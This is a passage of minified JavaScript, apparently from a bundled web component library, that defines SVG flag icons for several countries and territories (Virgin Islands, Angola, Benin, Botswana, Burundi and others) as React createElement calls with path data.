.034.007.07.014.1.008.034.018.07.03.107a2.968 2.968 0 0 0 .191.44.48.48 0 0 0 .055.08c.008.01.03.032.063.047a.156.156 0 0 0 .183-.038l-.224-.2a.144.144 0 0 1 .165-.035.122.122 0 0 1 .036.025l-.018-.028a2.672 2.672 0 0 1-.19-.467c-.005-.024-.005-.033-.005-.031h-.3Zm.547-.034c-.126-.06-.219-.101-.282-.12a.272.272 0 0 0-.125-.014.169.169 0 0 0-.14.168h.3a.13.13 0 0 1-.029.08.131.131 0 0 1-.08.048c-.027.005-.04-.004-.015.004.04.012.113.044.243.105l.128-.271Zm.88.6c-.019 0-.148.01-.276.02l.023.3.177-.014.075-.005v-.3Zm-.579-.102c.111.068.242.16.34.233.05.038.087.069.109.088.012.012.011.013.006.005a.14.14 0 0 1-.023-.076.147.147 0 0 1 .131-.147l.03.299a.153.153 0 0 0 .125-.218.17.17 0 0 0-.016-.028.344.344 0 0 0-.05-.055 1.84 1.84 0 0 0-.13-.107 4.712 4.712 0 0 0-.366-.25l-.156.256Zm-.074-.065a.147.147 0 0 1-.046-.007l-.009-.003h.002a2.998 2.998 0 0 1 .126.074l.158-.254a3.345 3.345 0 0 0-.166-.095.195.195 0 0 0-.015-.006c-.001 0-.022-.009-.05-.009v.3Zm.018.045a2 2 0 0 1 .073-.076l-.003.003-.014.008a.145.145 0 0 1-.074.02v-.3a.152.152 0 0 0-.094.033 2.304 2.304 0 0 0-.11.11l.222.202Zm-.143.247a.545.545 0 0 1 .142-.246l-.22-.205a.837.837 0 0 0-.216.396l.294.055Zm-.012.067.012-.066-.294-.057-.013.066.295.057Zm.076-.166-.215-.012-.017.3.215.012.017-.3Zm.44-.006c-.13.008-.33.012-.44.006l-.016.3c.126.007.339.002.475-.007l-.019-.299Z"}),(0,s.createElement)("path",{fill:"#0091C8",d:"M15.055 8.714v2.576H4.67V8.556c.01.043.17.097.282.14.205.077.22.077.42-.065.27-.19.44-.185.747.022.46.311.583.317.72.044.103-.213.333-.213.727.005.17.093.343.164.394.164.046 0 .159-.087.246-.191.194-.24.307-.224.808.087.404.257.542.273.583.06.057-.267.103-.31.338-.31.143.005.358.07.578.18.19.098.384.174.42.174.04 0 .086-.076.107-.17a.453.453 0 0 1 .138-.245c.138-.092.281-.054.732.191.45.24.578.218.578-.103 0-.099.097-.164.245-.164.046 0 .236.098.425.224.41.261.522.261.557-.006.036-.273.205-.278.645-.033.327.191.695.268.695.154Z"}),(0,s.createElement)("path",{stroke:"#fff",strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:.5,d:"M4.709 8.65c.01.043.117.108.23.152.204.076.219.076.418-.066.27-.19.439-.185.745.022.459.311.581.317.72.044.101-.213.33-.213.724.005.168.093.342.164.393.164.046 0 .158-.087.245-.191.193-.24.306-.224.806.087.403.257.54.273.581.06.057-.267.102-.31.337-.31.143.005.357.07.577.18.189.098.383.174.418.174.041 0 .087-.076.107-.17a.453.453 0 0 1 .138-.245c.138-.092.28-.054.73.191.449.24.576.219.576-.103 0-.099.097-.164.245-.164.046 0 .235.098.424.224.408.262.52.262.556-.006.036-.273.204-.278.643-.033.326.191.633.257.633.142"})),Ee=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"CC_-_Cocos_(Keeling)_Islands_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#CC_-_Cocos_(Keeling)_Islands_svg__a)"},(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"m12 3.5-.5.366.067-.616L11 3l.567-.25-.067-.616.5.366.5-.366-.067.616L13 3l-.567.25.067.616L12 3.5ZM11.481 6.84l-.5.365.067-.616-.567-.25.567-.25-.067-.616.5.366.5-.366-.066.616.566.25-.566.25.066.616-.5-.366ZM13 9.5l-.5.366.067-.616L12 9l.567-.25-.067-.616.5.366.5-.366-.067.616L14 9l-.567.25.067.616L13 9.5ZM13.5 4.75l-.25.183.034-.308L13 4.5l.284-.125-.034-.308.25.183.25-.183-.034.308L14 4.5l-.284.125.034.308-.25-.183ZM3.5 7a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#915E2B",d:"m3.245 5.994-.18-.127c.397-.52.292-1.246.18-1.724l.73-.172c.167.712-.205 1.334-.73 2.023Z"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M9.949 7.472c-.33.565-.852.822-1.552.822a1.897 1.897 0 0 1 0-3.794c.8 0 1.437.28 1.73 1.041-.232-.23-.59-.387-1.127-.367-.828 0-1.367.645-1.367 1.198 0 .552.539 1.303 1.367 1.303.417-.006.724-.083.949-.203Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M3.5 4.37c.828 0 1.357-.224 1.357-.5s-.529-.5-1.357-.5-1.258.224-1.258.5.43.5 1.258.5Z",clipRule:"evenodd"}))),Ze=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"VG_-_Virgin_Islands_(British)_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#VG_-_Virgin_Islands_(British)_svg__a)"},(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("g",{clipPath:"url(#VG_-_Virgin_Islands_(British)_svg__b)"},(0,s.createElement)("path",{fill:"#2E42A5",d:"M0 0h9v7H0z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"m-1.002 6.5 1.98.869L9.045.944l1.045-1.29-2.118-.29-3.29 2.768-2.649 1.865L-1.002 6.5Z"}),(0,s.createElement)("path",{fill:"#F50100",d:"m-.731 7.108 1.009.505 9.436-8.08H8.298L-.731 7.109Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"m10.002 6.5-1.98.869L-.045.944-1.09-.346l2.118-.29 3.29 2.768 2.649 1.865L10.002 6.5Z"}),(0,s.createElement)("path",{fill:"#F50100",d:"m9.935 6.937-1.01.504-4.018-3.46-1.19-.386L-1.19-.342H.227L5.13 3.502l1.303.463 3.502 2.972Z"}),(0,s.createElement)("path",{fill:"#F50100",fillRule:"evenodd",d:"M4.992 0h-1v3H0v1h3.992v3h1V4H9V3H4.992V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M3.242-.75h2.5v3H9.75v2.5H5.742v3h-2.5v-3H-.75v-2.5h3.992v-3ZM3.992 3H0v1h3.992v3h1V4H9V3H4.992V0h-1v3Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#3B7E05",fillRule:"evenodd",stroke:"#F7FCFF",strokeWidth:.25,d:"M10.123 5.016v3.265s-.048 2.701 2.441 2.701c2.49 0 2.49-2.701 2.49-2.701V5.016h-4.93Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFD018",fillRule:"evenodd",d:"m10.118 9.944.397-.398c.62.766 1.272 1.138 1.965 1.138.693 0 1.344-.372 1.963-1.138l.226.227.01-.015c.137.117.229.227.272.353a.421.421 0 0 1-.171.51.97.97 0 0 1-.104.058.26.26 0 0 1-.202.022.29.29 0 0 1-.187-.173c-.562.498-1.166.75-1.807.75-.636 0-1.235-.248-1.793-.737a.29.29 0 0 1-.19.168.26.26 0 0 1-.201-.026.957.957 0 0 1-.103-.06.421.421 0 0 1-.162-.512.526.526 0 0 1 .095-.158l-.008-.009Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#fff",d:"m10.515 9.546.058-.047-.052-.065-.059.06.053.052Zm-.397.398-.053-.053-.047.048.042.053.058-.048Zm4.325-.398.053-.053-.059-.059-.052.065.058.047Zm.226.227-.053.053.064.064.051-.075-.062-.042Zm.01-.015.048-.057-.064-.054-.047.07.063.041Zm.272.353.071-.024-.07.024Zm-.171.51-.04-.064.04.063Zm-.104.058-.031-.068.031.068Zm-.202.022.02-.072-.02.072Zm-.187-.173.07-.028-.04-.098-.08.07.05.056Zm-3.6.013.049-.056-.077-.068-.041.094.069.03Zm-.19.168-.018-.072.019.072Zm-.201-.026.032-.067-.032.067Zm-.103-.06-.04.063.04-.063Zm-.162-.512.07.026-.07-.026Zm.095-.158.057.048.04-.047-.04-.048-.057.047Zm.336-.46-.397.398.107.106.396-.398-.106-.106Zm2.018 1.116c-.663 0-1.295-.355-1.907-1.11l-.116.094c.628.776 1.3 1.166 2.023 1.166v-.15Zm1.905-1.11c-.61.755-1.243 1.11-1.905 1.11v.15c.724 0 1.394-.39 2.021-1.165l-.116-.095Zm.337.22-.226-.226-.106.106.226.227.106-.106Zm-.106-.003-.01.015.125.084.01-.015-.125-.084Zm.406.37c-.05-.144-.153-.264-.295-.385l-.097.115c.134.113.213.211.25.32l.142-.05Zm-.203.598a.496.496 0 0 0 .203-.597l-.142.049a.347.347 0 0 1-.14.421l.08.127Zm-.111.063c.033-.016.07-.036.111-.063l-.08-.127a.884.884 0 0 1-.095.054l.064.136Zm-.255.027a.326.326 0 0 0 .255-.027l-.063-.136a.269.269 0 0 1-.076.025.177.177 0 0 1-.075-.007l-.04.145Zm-.235-.217c.043.106.13.187.235.217l.041-.145a.216.216 0 0 1-.137-.13l-.14.058Zm-1.738.797c.663 0 1.283-.262 1.857-.77l-.1-.112c-.551.488-1.138.732-1.757.732v.15Zm-1.843-.756c.57.498 1.186.756 1.843.756v-.15c-.614 0-1.196-.24-1.744-.72l-.099.114Zm-.12.184a.365.365 0 0 0 .238-.21l-.137-.061a.216.216 0 0 1-.14.126l.039.145Zm-.254-.031a.326.326 0 0 0 .254.031l-.039-.145a.18.18 0 0 1-.075.005.269.269 0 0 1-.075-.026l-.065.135Zm-.11-.065c.041.027.077.049.11.065l.065-.135a.87.87 0 0 1-.094-.056l-.082.126Zm-.193-.6a.496.496 0 0 0 .192.6l.082-.126a.347.347 0 0 1-.133-.423l-.141-.052Zm.108-.181a.602.602 0 0 0-.108.18l.14.052a.454.454 0 0 1 .083-.136l-.115-.096Zm-.008.087a.76.76 0 0 0 .008.008l.116-.094-.007-.009-.117.095Z"}),(0,s.createElement)("path",{fill:"#FFD018",d:"m11.066 7.324-.038-.164V5.771a.375.375 0 0 1 .75 0v1.303l.36.74a.375.375 0 0 1-.083.439l-.413.383v.72a.375.375 0 1 1-.75 0v-.884c0-.105.043-.205.12-.276l.33-.304-.276-.568Z"}),(0,s.createElement)("path",{stroke:"#FFD018",strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:.75,d:"M13.626 5.75v3.702"}),(0,s.createElement)("path",{fill:"#FFC6B5",fillRule:"evenodd",d:"m12.32 6.293-.168.547s-.282.364-.334.543c-.052.178-.08.297-.066.297.014 0 .13-.05.13-.174 0-.123.438-.52.438-.52l.13-.693h-.13Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFD018",fillRule:"evenodd",d:"M13.686 5.434a.058.058 0 0 0 .006-.026c0-.03-.022-.054-.05-.054-.027 0-.05.024-.05.054 0 .013.004.025.011.034l-.189.293.02.016.189-.293a.047.047 0 0 0 .046-.004l.199.297.02-.016-.202-.3Zm-.007.254a.057.057 0 0 0 .013-.037c0-.03-.022-.054-.05-.054-.027 0-.05.025-.05.054 0 .019.008.035.021.044l-.047.057h-.321s.035.081.144.102c.034.032.12.091.12.091l-.05.06h.347v-.06c.084 0 .116-.067.127-.09.005-.01.006-.013.006 0 0 .042.062 0 .062 0s.102-.103.102-.2c0-.096-.214.097-.214.097h-.145l-.065-.064Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFC6B5",fillRule:"evenodd",d:"M12.73 6.074a.06.06 0 0 1 .008.028c0 .032-.133.078-.23.078-.096 0-.058-.078 0-.121.059-.043-.004-.118-.058-.118-.051 0-.051-.072-.051-.13V5.576c0-.091.025-.08.072-.06a.26.26 0 0 0 .105.027c.072 0 .076.017.087.061.006.028.015.065.044.116.045.08.035.1.021.128-.01.02-.021.044-.021.093 0 .084.014.113.023.133Zm.12.58.027-.307s-.028-.113.038-.113c.067 0 .17.538.207.754.024.138.002.163-.06.237a1.365 1.365 0 0 0-.146.2c-.102.168-.096.266-.09.341.003.05.005.09-.025.133-.072.1-.101.006-.13-.087a1.194 1.194 0 0 0-.006-.02c-.027-.087.097-.348.182-.526l.03-.065c.08-.17.073-.23.038-.302-.034-.072-.066-.245-.066-.245Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFD018",fillRule:"evenodd",d:"M13.01 9.685c0 .078-.06.141-.134.141-.073 0-.133-.063-.133-.141 0-.078.06-.142.133-.142.074 0 .134.064.134.142Zm-.71.04c-.06.05-.133.061-.163.025s-.006-.106.054-.156.132-.062.163-.026c.03.036.006.106-.054.156Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#A95601",fillRule:"evenodd",d:"M12.476 5.392s-.14.029-.093.098c.046.07-.06.052.093.06.152.01.194.065.173.106-.02.041-.037.143 0 .205.038.062.05.169.116.115.066-.053.192-.127.153-.223-.038-.097.016-.209-.069-.263-.085-.054-.104-.021-.152-.098-.048-.076-.12-.097-.17-.049l-.051.05Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M12.448 6.089s-.279.336-.233.454c.045.118.114.125.08.293-.035.168.02.428-.08.76-.1.33-.167 1.107-.134 1.107s.079.429.04.621c-.04.193-.315.354-.04.354s.308.038.418 0c.11-.038.266.11.266 0s.012-.132.096-.132h.154c.074 0 .172.069.172-.095s.018-.517-.077-.79c-.095-.274-.063-.1-.156-.465-.055-.217-.098-.303-.131-.379-.023-.052-.09.04-.105-.042-.005-.027.04-.19.04-.21.004-.13.103-.153.103-.376 0-.26-.062-.544 0-.687.062-.142.215-.057.154-.195-.06-.139-.08-.218-.195-.218h-.372Z",clipRule:"evenodd"})),(0,s.createElement)("defs",null,(0,s.createElement)("clipPath",{id:"VG_-_Virgin_Islands_(British)_svg__b"},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h9v7H0z"})))),ye=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"VI_-_Virgin_Islands_(U_S_)_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#VI_-_Virgin_Islands_(U_S_)_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"VI_-_Virgin_Islands_(U_S_)_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#VI_-_Virgin_Islands_(U_S_)_svg__b)"},(0,s.createElement)("path",{fill:"#E8AA00",fillRule:"evenodd",d:"M8.574 2.963c0 .093.42 1.39.42 1.39H6.952l.574-1.122s.084-.214-.121-.268c-.206-.054-.453.18-.453.18s.06-.373.14-.454c.082-.08.553-.287.947-.287.393 0 .536.47.536.561Zm-7.185-.528c.156-.068 1.75.407 2.944.763.686.205 1.24.37 1.313.37.2 0 1.02.843 1.02.843v1.886s-2.589-.537-5.03-3.185c-.358-.355-.494-.571-.247-.677Zm5.033 3.98s-.272.188-.572.689c-.148.246-.16.463-.168.62-.01.163-.015.26-.162.26-.173 0-.298.038-.4.068a.677.677 0 0 1-.185.039c-.137 0-.4.517-.269.637.132.12.683.31.683 0s.149-.487.418-.487c.27 0 .751-.179.751-.57 0-.392.525-.364.525-.364l-.621-.891Zm5.359-3.217c1.193-.356 2.787-.83 2.944-.763.247.106.111.322-.247.676-.959 1.716-5.03 3.186-5.03 3.186V4.411s.82-.843 1.02-.843c.072 0 .626-.165 1.313-.37ZM9.69 6.416s.272.187.572.688c.148.246.16.463.169.62.009.163.014.26.162.26.173 0 .298.038.4.068.07.021.129.039.184.039.137 0 .4.517.27.637-.133.12-.684.31-.684 0s-.148-.487-.418-.487-.75-.179-.75-.57c0-.392-.526-.364-.526-.364l.622-.891ZM6.255 8.5c0-.17.821-1.082.821-1.082l.918-.387.011.232.012-.232.917.387s.821.912.821 1.082c0 .171-1.574 1.565-1.738 1.565a.017.017 0 0 1-.012-.006.017.017 0 0 1-.011.006c-.164 0-1.739-1.394-1.739-1.565Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#46A000",d:"m3.123 5.496.949-.316c.641 1.927 1.26 3.172 1.815 3.71l-.696.719c-.703-.681-1.379-2.044-2.068-4.113Z"}),(0,s.createElement)("path",{fill:"#0093E1",fillRule:"evenodd",d:"M14.346 5.17h-1.069s.227 0 .252.218c0 0 .005 1.847 0 1.992-.006.145-.252.195-.252.195s1.297.004 1.069 0c-.228-.004-.278-.195-.278-.195V5.388c0-.168.278-.219.278-.219ZM2.283 7.426c-.121-.313-.868-2.225-.868-2.225h.74c-.13 0-.177.164-.177.164l.518 1.476s.5-1.205.5-1.42c0-.213-.21-.22-.21-.22h.964l-.232.078s-.772 1.768-.772 2.147c-.036.084.355.14.355.14H2.066l.217-.14Zm8.85-.699.573-1.055.017 1.174-.178-.057-.125.784.633-1.215-.21-.08.783-.848-.267 1.147-.152-.134-.898 1.676 1.003-1.148-.194-.097.99-.648-.43 1.056-.24-.173-1.018 1.281-.422-.162.422-1.5h-.287Zm-.33 2.002h-.317v.24h-.25l-.706.82h.39l.135.461.181-.162v.162l.354-.162.339.293.252-1.127-.17-.125.088-.076-.088-.324h-.208Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M6.172 4.006s.465.322.93.322c.466 0 .93-.322.93-.322s.466.322.932.322c.465 0 .93-.322.93-.322v1.45c0 1.5-1.861 2.663-1.861 2.663s-1.951-1.067-1.861-2.68V4.006Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"VI_-_Virgin_Islands_(U_S_)_svg__c",width:4,height:5,x:6,y:4,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M6.172 4.006s.465.322.93.322c.466 0 .93-.322.93-.322s.466.322.932.322c.465 0 .93-.322.93-.322v1.45c0 1.5-1.861 2.663-1.861 2.663s-1.951-1.067-1.861-2.68V4.006Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#VI_-_Virgin_Islands_(U_S_)_svg__c)"},(0,s.createElement)("path",{fill:"#2E42A5",d:"M6.04 3.91h3.92v1.51H6.04V3.91Z"}),(0,s.createElement)("path",{fill:"#AF0100",d:"M6.798 5.42h-.33v3.052h.33V5.42Zm.56 0h-.33v3.052h.33V5.42Zm.23 0h.33v3.052h-.33V5.42Zm.89 0h-.33v3.052h.33V5.42Zm.23 0h.33v3.052h-.33V5.42Zm.89 0h-.33v3.052h.33V5.42Z"}))))),we=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M8 0h8v12H8V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#36A400",fillRule:"evenodd",d:"M0 0h8v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"red",fillRule:"evenodd",d:"M9.313 2.816c.775 0 1.49.26 2.061.696a4.268 4.268 0 1 0-.276 5.595 3.398 3.398 0 1 1-1.785-6.291Zm1.432 1.252-1.07 1.213-1.537-.424.852 1.333-.852 1.419 1.612-.58.881 1.375V6.807l1.44-.617-1.44-.516.114-1.606Z",clipRule:"evenodd"})),ke=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"AO_-_Angola_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#AO_-_Angola_svg__a)"},(0,s.createElement)("path",{fill:"#1D1D1D",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"AO_-_Angola_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#AO_-_Angola_svg__b)"},(0,s.createElement)("path",{fill:"#F50100",d:"M0 0v6h16V0H0Z"}),(0,s.createElement)("g",{filter:"url(#AO_-_Angola_svg__c)"},(0,s.createElement)("path",{fill:"#FCFF01",d:"M7.775 6.696c.388-.479.509-1.098.509-1.485 0-2.059-2.569-3.198-2.569-3.198 1.766 0 3.733 1.432 3.733 3.198 0 .748-.256 1.442-.686 1.994.787.392 1.453.699 1.453.699.247.162.316.594.154.841a.536.536 0 0 1-.741.154s-.632-.373-1.017-.626a15.58 15.58 0 0 0-.598-.37c-.505.34-1.111.54-1.763.54 0 0-2.348-.288-2.281-1.492 0 0 .568.435 2.241.435.266 0 .5-.037.705-.103-.724-.395-1.338-.709-1.338-.709-.248-.162-.89-.983-.729-1.23.162-.248 1.143.032 1.39.194 0 0 .343.472.829.76.214.128.456.263.708.398ZM6.59 4.901l-.505.337.162-.577-.371-.368.502-.02.212-.57.213.57h.5l-.37.388.186.543L6.59 4.9Z"}),(0,s.createElement)("path",{fill:"#FFEA42",d:"M7.775 6.696c.388-.479.509-1.098.509-1.485 0-2.059-2.569-3.198-2.569-3.198 1.766 0 3.733 1.432 3.733 3.198 0 .748-.256 1.442-.686 1.994.787.392 1.453.699 1.453.699.247.162.316.594.154.841a.536.536 0 0 1-.741.154s-.632-.373-1.017-.626a15.58 15.58 0 0 0-.598-.37c-.505.34-1.111.54-1.763.54 0 0-2.348-.288-2.281-1.492 0 0 .568.435 2.241.435.266 0 .5-.037.705-.103-.724-.395-1.338-.709-1.338-.709-.248-.162-.89-.983-.729-1.23.162-.248 1.143.032 1.39.194 0 0 .343.472.829.76.214.128.456.263.708.398ZM6.59 4.901l-.505.337.162-.577-.371-.368.502-.02.212-.57.213.57h.5l-.37.388.186.543L6.59 4.9Z"})))),(0,s.createElement)("defs",null,(0,s.createElement)("filter",{id:"AO_-_Angola_svg__c",width:6.489,height:6.974,x:3.968,y:2.013,colorInterpolationFilters:"sRGB",filterUnits:"userSpaceOnUse"},(0,s.createElement)("feFlood",{floodOpacity:0,result:"BackgroundImageFix"}),(0,s.createElement)("feColorMatrix",{in:"SourceAlpha",result:"hardAlpha",values:"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0"}),(0,s.createElement)("feOffset",null),(0,s.createElement)("feColorMatrix",{values:"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.2 0"}),(0,s.createElement)("feBlend",{in2:"BackgroundImageFix",result:"effect1_dropShadow_270_54949"}),(0,s.createElement)("feBlend",{in:"SourceGraphic",in2:"effect1_dropShadow_270_54949",result:"shape"})))),Re=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"BJ_-_Benin_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#BJ_-_Benin_svg__a)"},(0,s.createElement)("path",{fill:"#DD2C2B",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M0 0v7h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#5EAA22",d:"M0 0h7v12H0z"}))),Me=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"BW_-_Botswana_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#BW_-_Botswana_svg__a)"},(0,s.createElement)("path",{fill:"#42ADDF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"BW_-_Botswana_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#BW_-_Botswana_svg__b)"},(0,s.createElement)("path",{fill:"#58A5FF",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",stroke:"#F7FCFF",d:"M0 4.5h-.5v3h17v-3H0Z"})))),Fe=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"BF_-_Burkina_Faso_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#BF_-_Burkina_Faso_svg__a)"},(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"BF_-_Burkina_Faso_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#BF_-_Burkina_Faso_svg__b)"},(0,s.createElement)("path",{fill:"#C51918",d:"M0 0v6h16V0H0Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"m8.018 7.885-2.352 1.78.753-2.899-2.206-1.764h2.629l1.175-2.573 1.176 2.573h2.629l-2.23 1.767.776 2.896-2.35-1.78Z"})))),be=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"BI_-_Burundi_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#BI_-_Burundi_svg__a)"},(0,s.createElement)("rect",{width:16,height:12,fill:"#5EAA22",rx:1}),(0,s.createElement)("mask",{id:"BI_-_Burundi_svg__b",width:24,height:16,x:-4,y:-2,fill:"#000",maskUnits:"userSpaceOnUse"},(0,s.createElement)("path",{fill:"#fff",d:"M-4-2h24v16H-4z"}),(0,s.createElement)("path",{fillRule:"evenodd",d:"m8 6 8-6H0l8 6Zm0 0-8 6h16L8 6Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#DD2C2B",fillRule:"evenodd",d:"m8 6 8-6H0l8 6Zm0 0-8 6h16L8 6Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#fff",d:"m16 0 .75 1 3-2.25H16V0ZM0 0v-1.25h-3.75l3 2.25L0 0Zm0 12-.75-1-3 2.25H0V12Zm16 0v1.25h3.75l-3-2.25-.75 1Zm-.75-13-8 6 1.5 2 8-6-1.5-2ZM0 1.25h16v-2.5H0v2.5ZM8.75 5l-8-6-1.5 2 8 6 1.5-2Zm-1.5 0-8 6 1.5 2 8-6-1.5-2ZM0 13.25h16v-2.5H0v2.5ZM16.75 11l-8-6-1.5 2 8 6 1.5-2Z",mask:"url(#BI_-_Burundi_svg__b)"}),(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M8 9a3 3 0 1 0 0-6 3 3 0 0 0 0 6Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#DD2C2B",fillRule:"evenodd",d:"m8.084 5.214-.588.31.112-.655-.476-.464h.658l.294-.69.293.69h.658l-.476.464.112.654-.587-.309ZM6.681 7.214l-.588.31.113-.655-.476-.464h.657l.294-.69.294.69h.657l-.475.464.112.654-.588-.309ZM9.481 